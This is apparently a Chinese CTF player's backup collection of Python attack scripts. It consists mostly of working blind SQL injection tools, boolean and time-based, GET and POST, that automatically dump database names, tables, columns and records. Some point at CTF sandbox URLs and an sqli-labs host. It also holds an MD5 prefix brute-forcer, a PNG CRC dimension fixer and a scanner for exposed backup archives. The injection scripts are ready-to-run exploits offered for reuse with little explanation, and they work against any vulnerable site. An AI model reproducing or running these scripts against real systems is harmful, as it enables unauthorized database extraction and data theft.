py脚本备份

POST盲注（暴力)

from requests import *
import time
url = ''
payload = {"id" : ""}
flag = ""
for i in range(1,10000000000):#flag长度
    time.sleep(0.06)
    for j in range(20, 126):#可见字符ascii范围
        payload["id"] = "if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i, j)
        now = post(url, payload)
        time.sleep(0.04)
        if "Hello" in now.text:#Hello改为回显信息
            print(i)
            flag += chr(j)
            print(flag)
            break 

POST盲注（二分）

from requests import *
import time
url = ""
payload = {"id" : ""}
flag = ""
for i in range(1,200):#这里调多大都不会有影响，应为判断结束的条件是用空格判断的     
    time.sleep(0.06)    
    l = 20; r = 126; mid = (l + r) // 2            
    while(l < r):
        payload["id"] = "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        res = post(url,payload)
        time.sleep(0.04)
        # print(payload)
        if "Hello" in res.text:l = mid + 1#Hello改为回显信息
        else:r = mid
        mid = (l + r) // 2
    if(chr(mid) == " "):break
    flag  += chr(mid)
    print(flag)
print("flag: " ,flag)

MD5碰撞

import requests
import base64
import sys
import hashlib
 
def getMd5(index):
	for i in range(100000,100000000):
		x = i
		md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
		if md5[0:6] == index:
			return x
a = input() # 需要碰撞的md5
print(getMd5(a))

CRC修复

import zlib
import struct
import argparse
import itertools


parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
                    help="输入同级目录下图片的名称")
args  = parser.parse_args()


bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 计算crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crc


if crc32key == original_crc32: # 计算crc对比原始crc
    print('宽高没有问题!')
else:
    input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):")
    if input_ not in ["Y", "y", ""]:
        exit()
    else: 
        for i, j in itertools.product(range(4095), range(4095)): # 理论上0x FF FF FF FF，但考虑到屏幕实际/cpu，0x 0F FF就差不多了，也就是4095宽度和高度
            data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]
            crc32 = zlib.crc32(data)
            if(crc32 == original_crc32): # 计算当图片大小为i:j时的CRC校验值，与图片中的CRC比较，当相同，则图片大小已经确定
                print(f"\nCRC32: {hex(original_crc32)}")
                print(f"宽度: {i}, hex: {hex(i)}")
                print(f"高度: {j}, hex: {hex(j)}")
                exit(0)

Web敏感目录扫描

import requests
import time
print("网址：")

url = input()

li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp', 'index.php']
li2 = ['tar', 'tar.gz', 'zip', 'rar', 'swp']
for i in li1:
    for j in li2:
        url_final = url + "/" + i + "." + j
        r = requests.get(url_final)
        print(i+'.'+j)
        print(r)
        time.sleep(1)

-----------------------------------以下为网络搜集的脚本，非自己编写

自动化布尔盲注（GET）

import requests
from urllib.parse import quote

success_flag = "query_success" #成功查询到内容的关键字
base_url = "http://challenge-af51e573b0753c56.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and length(database()) = " + str(length)
        url = base_url + quote(id) #很重要，因为id中有许多特殊字符，比如#，需要进行url编码
        response = requests.get(url, headers=headers).text
        if (success_flag not in response):
            print("database length", length, "failed!")
            length+=1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print("数据库名的长度为", length)
    return length

def get_database(database_length):
    global success_flag, base_url, headers, cookies
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                database += chr(ascii)
                print ("目前已知数据库名", database)
                break
            else:
                id_bigger = "1 and ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据库名为", database)
    return database

def get_table_num(database):
    global success_flag, base_url, headers, cookies
    num = 1
    while (1):
        id = "1 and (select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag in response):
            print("payload:", id)
            print("数据库中有", num, "个表")
            break
        else:
            num += 1
    return num

def get_table_length(index, database):
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and (select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag not in response):
            print("table length", length, "failed!")
            length+=1
        else:
            print("table length", length, "success")
            print("payload:", id)
            break
    print("数据表名的长度为", length)
    return length

def get_table(index, table_length, database):
    global success_flag, base_url, headers, cookies
    table = ""
    for i in range(1, table_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                table += chr(ascii)
                print ("目前已知数据库名", table)
                break
            else:
                id_bigger = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据表名为", table)
    return table

def get_column_num(table):
    global success_flag, base_url, headers, cookies
    num = 1
    while (1):
        id = "1 and (select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag in response):
            print("payload:", id)
            print("数据表", table, "中有", num, "个字段")
            break
        else:
            num += 1
    return num

def get_column_length(index, table):
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and (select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag not in response):
            print("column length", length, "failed!")
            length+=1
        else:
            print("column length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "个字段的长度为", length)
    return length

def get_column(index, column_length, table):
    global success_flag, base_url, headers, cookies
    column = ""
    for i in range(1, column_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                column += chr(ascii)
                print ("目前已知字段为", column)
                break
            else:
                id_bigger = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据表", table, "第", index, "个字段名为", column)
    return column

def get_flag_num(column, table):
    global success_flag, base_url, headers, cookies
    num = 1
    while (1):
        id = "1 and (select count(" + column + ") from " + table + ") = " + str(num)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag in response):
            print("payload:", id)
            print("数据表", table, "中有", num, "行数据")
            break
        else:
            num += 1
    return num

def get_flag_length(index, column, table):
    global success_flag, base_url, headers, cookies
    length = 1
    while (1):
        id = "1 and (select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length)
        response = requests.get(base_url + quote(id), headers=headers).text
        if (success_flag not in response):
            print("flag length", length, "failed!")
            length+=1
        else:
            print("flag length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "行数据的长度为", length)
    return length

def get_flag(index, flag_length, column, table):
    global success_flag, base_url, headers, cookies
    flag = ""
    for i in range(1, flag_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii)
            response = requests.get(base_url + quote(id_equal), headers=headers).text
            if (success_flag in response):
                flag += chr(ascii)
                print ("目前已知flag为", flag)
                break
            else:
                id_bigger = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii)
                response = requests.get(base_url + quote(id_bigger), headers=headers).text
                if (success_flag in response):
                    l = ascii + 1
                else:
                    r = ascii - 1
    print("数据表", table, "第", index, "行数据为", flag)
    return flag

if __name__ == "__main__":
    print("---------------------")
    print("开始获取数据库名长度")
    database_length = get_database_length()
    print("---------------------")
    print("开始获取数据库名")
    database = get_database(database_length)
    print("---------------------")
    print("开始获取数据表的个数")
    table_num = get_table_num(database)
    tables = []
    print("---------------------")
    for i in range(0, table_num):
        print("开始获取第", i + 1, "个数据表的名称的长度")
        table_length = get_table_length(i, database)
        print("---------------------")
        print("开始获取第", i + 1, "个数据表的名称")
        table = get_table(i, table_length, database)
        tables.append(table)
    while(1): #在这个循环中可以进入所有的数据表一探究竟
        print("---------------------")
        print("现在得到了以下数据表", tables)
        table = input("请在这些数据表中选择一个目标: ")
        while( table not in tables ):
            print("你输入有误")
            table = input("请重新选择一个目标")
        print("---------------------")
        print("选择成功，开始获取数据表", table, "的字段数量")
        column_num = get_column_num(table)
        columns = []
        print("---------------------")
        for i in range(0, column_num):
            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
            column_length = get_column_length(i, table)
            print("---------------------")
            print("开始获取数据表", table, "第", i + 1, "个字段的名称")
            column = get_column(i, column_length, table)
            columns.append(column)
        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
            print("---------------------")
            print("现在得到了数据表", table, "中的以下字段", columns)
            column = input("请在这些字段中选择一个目标: ")
            while( column not in columns ):
                print("你输入有误")
                column = input("请重新选择一个目标")
            print("---------------------")
            print("选择成功，开始获取数据表", table, "的记录数量")
            flag_num = get_flag_num(column, table)
            flags = []
            print("---------------------")
            for i in range(0, flag_num):
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
                flag_length = get_flag_length(i, column, table)
                print("---------------------")
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
                flag = get_flag(i, flag_length, column, table)
                flags.append(flag)
            print("---------------------")
            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
            quit = input("继续切换字段吗？(y/n)")
            if (quit == 'n' or quit == 'N'):
                break
            else:
                continue
        quit = input("继续切换数据表名吗？(y/n)")
        if (quit == 'n' or quit == 'N'):
            break
        else:
            continue
    print("bye~")

自动化时间盲注（GET）

import requests
from urllib.parse import quote

base_url = "http://challenge-af51e573b0753c56.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"
        url = base_url + quote(id) #很重要，因为id中有许多特殊字符，比如#，需要进行url编码
        try:
            requests.get(url, headers=headers, timeout=1).text
        except Exception:
            print("database length", length, "failed!")
            length+=1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print("数据库名的长度为", length)
    return length

def get_database(database_length):
    global base_url, headers
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                database += chr(ascii)
                print ("目前已知数据库名", database)
                break

    print("数据库名为", database)
    return database

def get_table_num(database):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据库中有", num, "个表")
            break
    return num

def get_table_length(index, database):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout= 1).text
        except Exception:
            print("table length", length, "failed!")
            length+=1
        else:
            print("table length", length, "success")
            print("payload:", id)
            break
    print("数据表名的长度为", length)
    return length

def get_table(index, table_length, database):
    global base_url, headers
    table = ""
    for i in range(1, table_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                table += chr(ascii)
                print ("目前已知数据库名", table)
                break
    print("数据表名为", table)
    return table

def get_column_num(table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "个字段")
            break
    return num

def get_column_length(index, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("column length", length, "failed!")
            length+=1
        else:
            print("column length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "个字段的长度为", length)
    return length

def get_column(index, column_length, table):
    global base_url, headers
    column = ""
    for i in range(1, column_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                column += chr(ascii)
                print ("目前已知字段为", column)
                break

    print("数据表", table, "第", index, "个字段名为", column)
    return column

def get_flag_num(column, table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "行数据")
            break
    return num

def get_flag_length(index, column, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("flag length", length, "failed!")
            length+=1
        else:
            print("flag length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "行数据的长度为", length)
    return length

def get_flag(index, flag_length, column, table):
    global base_url, headers
    flag = ""
    for i in range(1, flag_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                flag += chr(ascii)
                print ("目前已知flag为", flag)
                break
    print("数据表", table, "第", index, "行数据为", flag)
    return flag

if __name__ == "__main__":
    print("---------------------")
    print("开始获取数据库名长度")
    database_length = get_database_length()
    print("---------------------")
    print("开始获取数据库名")
    database = get_database(database_length)
    print("---------------------")
    print("开始获取数据表的个数")
    table_num = get_table_num(database)
    tables = []
    print("---------------------")
    for i in range(0, table_num):
        print("开始获取第", i + 1, "个数据表的名称的长度")
        table_length = get_table_length(i, database)
        print("---------------------")
        print("开始获取第", i + 1, "个数据表的名称")
        table = get_table(i, table_length, database)
        tables.append(table)
    while(1): #在这个循环中可以进入所有的数据表一探究竟
        print("---------------------")
        print("现在得到了以下数据表", tables)
        table = input("请在这些数据表中选择一个目标: ")
        while( table not in tables ):
            print("你输入有误")
            table = input("请重新选择一个目标")
        print("---------------------")
        print("选择成功，开始获取数据表", table, "的字段数量")
        column_num = get_column_num(table)
        columns = []
        print("---------------------")
        for i in range(0, column_num):
            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
            column_length = get_column_length(i, table)
            print("---------------------")
            print("开始获取数据表", table, "第", i + 1, "个字段的名称")
            column = get_column(i, column_length, table)
            columns.append(column)
        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
            print("---------------------")
            print("现在得到了数据表", table, "中的以下字段", columns)
            column = input("请在这些字段中选择一个目标: ")
            while( column not in columns ):
                print("你输入有误")
                column = input("请重新选择一个目标")
            print("---------------------")
            print("选择成功，开始获取数据表", table, "的记录数量")
            flag_num = get_flag_num(column, table)
            flags = []
            print("---------------------")
            for i in range(0, flag_num):
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
                flag_length = get_flag_length(i, column, table)
                print("---------------------")
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
                flag = get_flag(i, flag_length, column, table)
                flags.append(flag)
            print("---------------------")
            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
            quit = input("继续切换字段吗？(y/n)")
            if (quit == 'n' or quit == 'N'):
                break
            else:
                continue
        quit = input("继续切换数据表名吗？(y/n)")
        if (quit == 'n' or quit == 'N'):
            break
        else:
            continue
    print("bye~")

布尔盲注（POST）

import requests
 
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""
 
def get_length(value):  #获取要查询的数据的长度
    for n in range(1,100):
        payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
        data = {"uname":payload,"passwd":"admin"}
        html = requests.post(url,data=data)
        length = len(html.text)
        if length >value:
            print("……data length is :" + str(n))
            return  n
 
def get_data(data_length,value): #获取数据
    global result
    for i in range(1,data_length):
        for char in chars:
            payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
            data = {"uname":payload,"passwd":"admin"}
            html = requests.post(url,data=data)
            length = len(html.text)
            if length>value:         #根据返回长度的不同来判断字符正确与否
                result += char
                print("…… data is :"+ result)
                break
 
 
url = "http://43.247.91.228:84/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 1460     # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值，这个值需要在浏览器中 按f12 查看
 
length = get_length(value) +1
get_data(length,value)
print(result)

时间盲注（POST）

import requests
import time
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""
 
def get_length():#获取数据的长度
    for n in range(1, 100):
        payload = "admin' and if((length(({0} ))={1}),sleep(4),1) #".format(data_payload, n)
        data = {"uname": payload, "passwd": "admin", "submit": "submit"}
        start_time = time.time()
        html = requests.post(url, data=data)
        end_time = time.time()
        use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了
        if use_time > 3:
            print("...... data's length is :"+ str(n))
            return n
 
def get_data(length):#获取数据
    global result
    for n in range(1,length):
        for v in value:
            payload = "admin' and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload,n,ord(v))
            data = {"uname":payload,"passwd":"admin","submit":"submit"}
            start_time = time.time()
            requests.post(url,data=data)
            end_time = time.time()
            use_time = end_time - start_time
            # 为啥把sleep时间设这么长呢？原因是我这里时常会出现网络波动，有时候请求时间就有2秒多，为避免出现乱码，所以设长一点可以保证信息的准确性
            if use_time >4:
                result += v
                print("......"+result)
 
 
 
url = "http://43.247.91.228:84/Less-15/"
 
data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()"
 
length = get_length() + 1   #注意这里要长度加 1 因为 range（1,10）的范围是 1<= x <10
get_data(length)
print(".....data is :"+ result)